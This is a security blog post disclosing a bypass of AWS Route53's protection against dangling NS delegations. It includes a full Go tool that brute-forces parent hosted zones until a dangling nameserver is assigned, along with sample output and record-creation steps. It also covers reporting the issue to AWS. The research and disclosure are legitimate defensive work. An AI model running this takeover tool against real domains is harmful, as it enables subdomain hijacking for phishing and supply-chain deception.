Dangling Danger: Route53's Flawed Dangling NS Record Protection

Blogs· 10min October 27, 2023

A subdomain takeover is a class of attack in which an adversary is able to serve unauthorized content from victim's domain name. It can be used for phishing, supply chain compromise, and other forms of attacks which rely on deception. You might've heard about CNAME based or NS based subdomain takeovers.

While classic DNS takeovers are becoming harder and harder to execute as vendors implement better protection against them, there are still novel attack techniques to be discovered. In this article we'll explore a dangling record protection bypass on AWS's Route53 service.

This blog post should accommodate people with different experience levels, feel free to skip a few sections if you understand the classic DNS takeovers on Route53.

What are NS records

A Name Server (NS) record describes the DNS server that contains actual DNS records for a given domain, later referred to as an authoritative nameserver (aNS).

Consider the following record in the example.com. DNS zone:

Domain, Record & Value table

And the following record in the sub.example.com. zone hosted behind ns-240.awsdns-30.com:

Domain, Record & Value table

If you try to resolve any record in sub.example.com. the DNS resolver will contact ns-240.awsdns-30.com (aNS) to fetch the records.

We can observe that if we run dig +trace A sub.example.com

$ dig +trace A sub.example.com

; <<>> DiG 9.10.6 <<>> +trace A sub.example.com
;; global options: +cmd
.                       30      IN      NS      c.root-servers.net.
.                       30      IN      NS      l.root-servers.net.
<snip>
;; Received 525 bytes from 127.0.0.1#53(127.0.0.1) in 91 ms

com.                    172800  IN      NS      a.gtld-servers.net.
com.                    172800  IN      NS      k.gtld-servers.net.
<snip>
;; Received 1182 bytes from 193.0.14.129#53(k.root-servers.net) in 62 ms

example.com.     172800  IN      NS      ns-1790.awsdns-31.co.uk.
example.com.     172800  IN      NS      ns-1392.awsdns-46.org.
<snip>
;; Received 753 bytes from 192.5.6.30#53(a.gtld-servers.net) in 41 ms

sub.example.com. 300     IN      NS      ns-240.awsdns-30.com.
;; Received 348 bytes from 205.251.197.112#53(ns-1392.awsdns-46.org) in 43 ms

sub.example.com. 300     IN      A       127.0.0.1
;; Received 185 bytes from 205.251.192.240#53(ns-240.awsdns-30.com) in 40 ms

What is a dangling NS record

A dangling NS record (label NS nameserver) is a NS record that either:

01

(1) points to a non existing nameserver (e.g. sub.example.com NS ns.expired-domain.com) or

02

(2) points to a nameserver that does not have the label zone configured, e.g. sub.example.com NS ns-1790.awsdns-31.co.uk where queries for sub.example.com to that nameserver are REFUSED

dig sub.example.com @ns-1790.awsdns-31.co.uk

; <<>> DiG 9.10.6 <<>> sub.example.com @ns-1790.awsdns-31.co.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 2694

It's worth noting that any dangling NS records are undesired and should be treated as misconfiguration.

In this article we will focus on the second scenario in the context of Route53/AWS name servers.

How could you perform a subdomain takeover in Route53

When a hosted zone is created in Route53 it's assigned a set of name servers from a shared pool.

e.g.

Hosted zone name
sub.example.com

Name servers
ns-1881.awsdns-43.co.uk
ns-2.awsdns-00.com
ns-1190.awsdns-20.org
ns-734.awsdns-27.net

The format of the nameservers that are assigned follows ns-{id}.awsdns-{id2}.{domain} pattern, where:

01

{id} is a number between 0 and 2048

02

{id2} is a two-digit number between 00 and 64.

Note, that only a subset of all combinations are used.

Usually, you would reference the sub.example.com nameservers in your example.com hosted zone like this:

sub.example.com.	300	IN	NS	ns-1881.awsdns-43.co.uk.
sub.example.com.	300	IN	NS	ns-2.awsdns-00.com.
sub.example.com.	300	IN	NS	ns-1190.awsdns-20.org.
sub.example.com.	300	IN	NS	ns-734.awsdns-27.net.

Now, what happens if sub.example.com. zone is deleted, but the NS records in example.com. are not?

There are dangling nameserver records left which anyone could register a sub.example.com. zone against (using brute force) and perform a subdomain hijack.

This is how AWS NS subdomain takeovers worked a few years ago. There's an excellent article on the topic by Shiv Sahni:AWS NS Takeover

AWS's Protection from dangling delegation records in Route 53

If you try to replicate the proof of concept linked in the Shiv's article today you aren't going to be successful.

AWS has implemented a protection against dangling delegations, but they are not vocal about the implementation details of that protection.

AWS has documented this protection in their docs, although they've since updated the documentation after our report, the current version of the documentation can be found here: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/protection-from-dangling-dns.html.

but before Oct 2023 the documentation said:

In Route 53, when you use nameserver (NS) records to delegate the management of a subdomain to another public hosted zone, a problem could arise if the subdomain hosted zone is deleted without also deleting the delegation. Another user could potentially re-create the subdomain hosted zone and gain control via the still-active delegation belonging to the first customer. However, Route 53 protects against such “dangling” delegations by not allowing any new hosted zones with overlapping domain names to be created by using those nameservers before verifying that the delegation has first been removed.

It got me speculating on how I would implement such protection myself and I had two ideas of what could happen upon zone creation:

01

Query public DNS for a newly created domain and note all NS records discovered

02

Query all customer NS records in Route53 that could overlap with newly created one and note all NS records discovered

The next step is to avoid assigning the name servers (from the shared pool) that were noted to the newly created zone.

Depending on how AWS stores the data the second option might be computationally expensive to execute, it also has a problem that the protection would only work in the realm of Route53, if a dangling record was created on another DNS provider it would not be effective.

Therefore I had a feeling AWS could use public DNS to discover those dangling delegations. Although this is a pure speculation, with that came my next realisation.

...the protection might be flawed

Imagine there's a dangling record for dangling.example.com

What if you were a little cheeky and instead of creating a zone for dangling.example.com to perform the takeover, you tried to create example.com and inside it create a dangling.example.com record? AWS wouldn't be able to discover dangling.example.com has a dangling NS record since it's not possible to perform DNS enumeration easily and when creating a record the zone already has nameservers assigned.

This prompted me to create a PoC to test that.

./ns-takeover dangling.example.com

Looking up dangling.example.com using a.root-servers.net
Looking up dangling.example.com using e.gtld-servers.net.
Looking up dangling.example.com using ns-172.awsdns-21.com.
Looking up dangling.example.com using ns-1084.awsdns-07.org.

Attempting a takeover for dangling.example.com. by creating example.com, looking for NS=[{Name:dangling.example.com. NS:ns-1084.awsdns-07.org.} {Name:dangling.example.com. NS:ns-1929.awsdns-49.co.uk.} {Name:dangling.example.com. NS:ns-362.awsdns-45.com.} {Name:dangling.example.com. NS:ns-528.awsdns-02.net.}]

#0: Nameservers do not match, got [ns-1675.awsdns-17.co.uk ns-1232.awsdns-26.org ns-1010.awsdns-62.net ns-496.awsdns-62.com], removing
#1: Nameservers do not match, got [ns-459.awsdns-57.com ns-1548.awsdns-01.co.uk ns-653.awsdns-17.net ns-1499.awsdns-59.org], removing
#2: Nameservers do not match, got [ns-241.awsdns-30.com ns-1228.awsdns-25.org ns-1940.awsdns-50.co.uk ns-516.awsdns-00.net], removing
#3: Nameservers do not match, got [ns-1654.awsdns-14.co.uk ns-1410.awsdns-48.org ns-588.awsdns-09.net ns-211.awsdns-26.com], removing
[...]
#102: Takeover successful: ns-528.awsdns-02.net, zoneID: /hostedzone/Z0123

And with that we've performed a takeover. The next step is to create a record for dangling.example.com

create-record.json:

{
    "Comment": "add dangling.example.com record",
    "Changes": [
        {
            "Action": "CREATE",
            "ResourceRecordSet": {
                "Name": "dangling.example.com.",
                "Type": "A",
                "TTL": 300,
                "ResourceRecords": [
                    {
                        "Value": "127.0.0.1"
                    }
                ]
            }
        }
    ]
}
aws route53 change-resource-record-sets --hosted-zone-id Z0123 --change-batch file://create-record.json
$ dig dangling.example.com

; <<>> DiG 9.10.6 <<>> a dangling.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21681
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;dangling.example.com.       IN      A

;; ANSWER SECTION:
dangling.example.com.            300     IN      A       127.0.0.1
package main

import (
	"context"
	"errors"
	"fmt"
	"github.com/aws/aws-sdk-go-v2/config"
	"github.com/aws/aws-sdk-go-v2/service/route53"
	"github.com/aws/aws-sdk-go-v2/service/route53/types"
	"github.com/miekg/dns"
	"log"
	"net"
	"os"
	"strings"
	"time"
)

func resolveNSIP(nameserver string) (net.IP, error) {
	ip := net.ParseIP(nameserver)
	if ip != nil {
		return ip, nil
	}

	ips, err := net.LookupIP(nameserver)
	if err != nil {
		return ip, err
	}

	if len(ips) <= 0 {
		return ip, errors.New("no records found")
	}
	return ips[0], nil
}

// nameserver can be a hostname or an ip address
func nonRecursiveLookup(name, nameserver string, rType uint16) (*dns.Msg, error) {
	nameserverIP, err := resolveNSIP(nameserver)
	if err != nil {
		return nil, err
	}

	msg := &dns.Msg{}
	msg.SetQuestion(dns.Fqdn(name), rType)
	msg.RecursionDesired = false

	c := &dns.Client{}
	resp, _, err := c.Exchange(msg, net.JoinHostPort(nameserverIP.String(), "53"))
	if err != nil {
		return nil, fmt.Errorf("error looking up authoritative NS records for %s using %s: %w", name, nameserver, err)
	}

	return resp, err
}

type NS struct {
	Name string
	NS   string
}

const maxRecursionDepth = 40

func DanglingRecords(name string) ([]NS, error) {
	delegatedNS := []NS{
		{
			Name: ".",
			NS:   "a.root-servers.net",
		},
	}
	name = strings.TrimSuffix(name, ".")

	for i := 0; ; i++ {
		if i == maxRecursionDepth {
			return nil, errors.New("max recursion depth reached, something weird is going on")
		}

		log.Printf("Looking up %s using %s", name, delegatedNS[0].NS)

		// NOTE: we probably want to test other NS records in case
		// - a takeover was already performed
		// - only a single NS record is misconfigured
		msg, err := nonRecursiveLookup(name, delegatedNS[0].NS, dns.TypeNS)
		if err != nil {
			return nil, err
		}

		if msg.Rcode != dns.RcodeSuccess {
			return delegatedNS, nil
		}

		delegatedNS = []NS{}
		for _, rec := range msg.Ns {
			if nsRec, ok := rec.(*dns.NS); ok {
				delegatedNS = append(delegatedNS, NS{
					Name: nsRec.Hdr.Name,
					NS:   nsRec.Ns,
				})
			}
		}

		if len(delegatedNS) == 0 {
			return nil, nil
		}
	}
}

func main() {
	ctx := context.Background()
	if len(os.Args) != 2 {
		log.Fatalln("usage: ns-takeover <FQDN>")
	}

	domainToTakeover := strings.TrimSuffix(os.Args[1], ".") + "."

	sess, err := config.LoadDefaultConfig(ctx)
	if err != nil {
		log.Fatalln("error loading session config for aws client", err)
	}

	dnsClient := route53.NewFromConfig(sess)
	danglingNS, err := DanglingRecords(domainToTakeover)

	if err != nil {
		log.Fatalln(err)
	}

	if len(danglingNS) == 0 {
		log.Println("no dangling records found, takeover not possible")
		os.Exit(1)
	}

	// AWS has a protection against creating dangling records: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/protection-from-dangling-dns.html
	// Creating a public zone for a parent domain circumvents the protection
	parentZone := strings.Join(strings.Split(strings.TrimSuffix(danglingNS[0].Name, "."), ".")[1:], ".")

	log.Printf("Attempting a takeover for %s by creating %s, looking for NS=%+v", domainToTakeover, parentZone, danglingNS)

	for i := 0; ; i++ {
		ref := fmt.Sprintf("ns-brute-%s", time.Now().String())
		comment := "ns-brute"
		out, err := dnsClient.CreateHostedZone(ctx, &route53.CreateHostedZoneInput{
			CallerReference: &ref,
			Name:            &parentZone,
			HostedZoneConfig: &types.HostedZoneConfig{
				Comment:     &comment,
				PrivateZone: false,
			},
		})

		if err != nil {
			log.Fatalf("Creating Hosted Zone failed: %s", err)
		}

		ds := out.DelegationSet
		if ds == nil || len(ds.NameServers) == 0 {
			log.Fatal("Creating Hosted Zone failed: delegation set is empty")
		}

		for _, ns := range ds.NameServers {
			zoneNS := strings.ToLower(strings.TrimSuffix(ns, "."))
			for _, targetNS := range danglingNS {
				unifiedTargetNS := strings.ToLower(strings.TrimSuffix(targetNS.NS, "."))
				if zoneNS == unifiedTargetNS {
					log.Printf("#%d: Takeover successful: %s, zoneID: %s", i, ns, *out.HostedZone.Id)
					os.Exit(0)
				}
			}
		}

		log.Printf("#%d: Nameservers do not match, got %v, removing", i, ds.NameServers)

		_, err = dnsClient.DeleteHostedZone(ctx, &route53.DeleteHostedZoneInput{Id: out.HostedZone.Id})
		if err != nil {
			log.Fatal("Removing hosted zone failed", err)
		}

		// be gentle :)
		time.Sleep(1 * time.Second)
	}
}

Ineffective protection might be worse than no protection at all

One could easily imagine a scenario where a dangling record is discovered using a perimeter scanner of sorts. It'd be easy to downplay the finding by citing the protection.

In such case you might wrongly believe that your systems are secure. The false sense of security can lead to lack of urgency in addressing the security risk. In contrast, if there's no protection and you are aware of the vulnerability you will prioritize fixing it.

Reporting the vulnerability to AWS support

After discovering the vulnerability we've contacted AWS support and they updated the documentation to reflect the issues discovered in this post.

The documentation is now a decent resource on how to mitigate the risk of NS misconfiguration.

AWS has vulnerability reporting guidelines, which you can find under https://aws.amazon.com/security/vulnerability-reporting/

Conclusions

New venues of executing subdomain takeovers continue to emerge even with protections in place. While using cloud services offers great security benefits, blindly trusting documentation might not cut it. Conduct your own tests and double-check claims. If you find anything, report it. It not only keeps you safe, but also helps others.

Written by

github-icon
Maciej Mionskowski Offensive Security Engineer

Maciej is an Offensive Security Engineer at Form3. Transitioning from a background in Platform and Software Engineering, he thrives on challenges that push the boundaries of his expertise. Outside of work, he's passionate about sailing, rock climbing, and playing board games.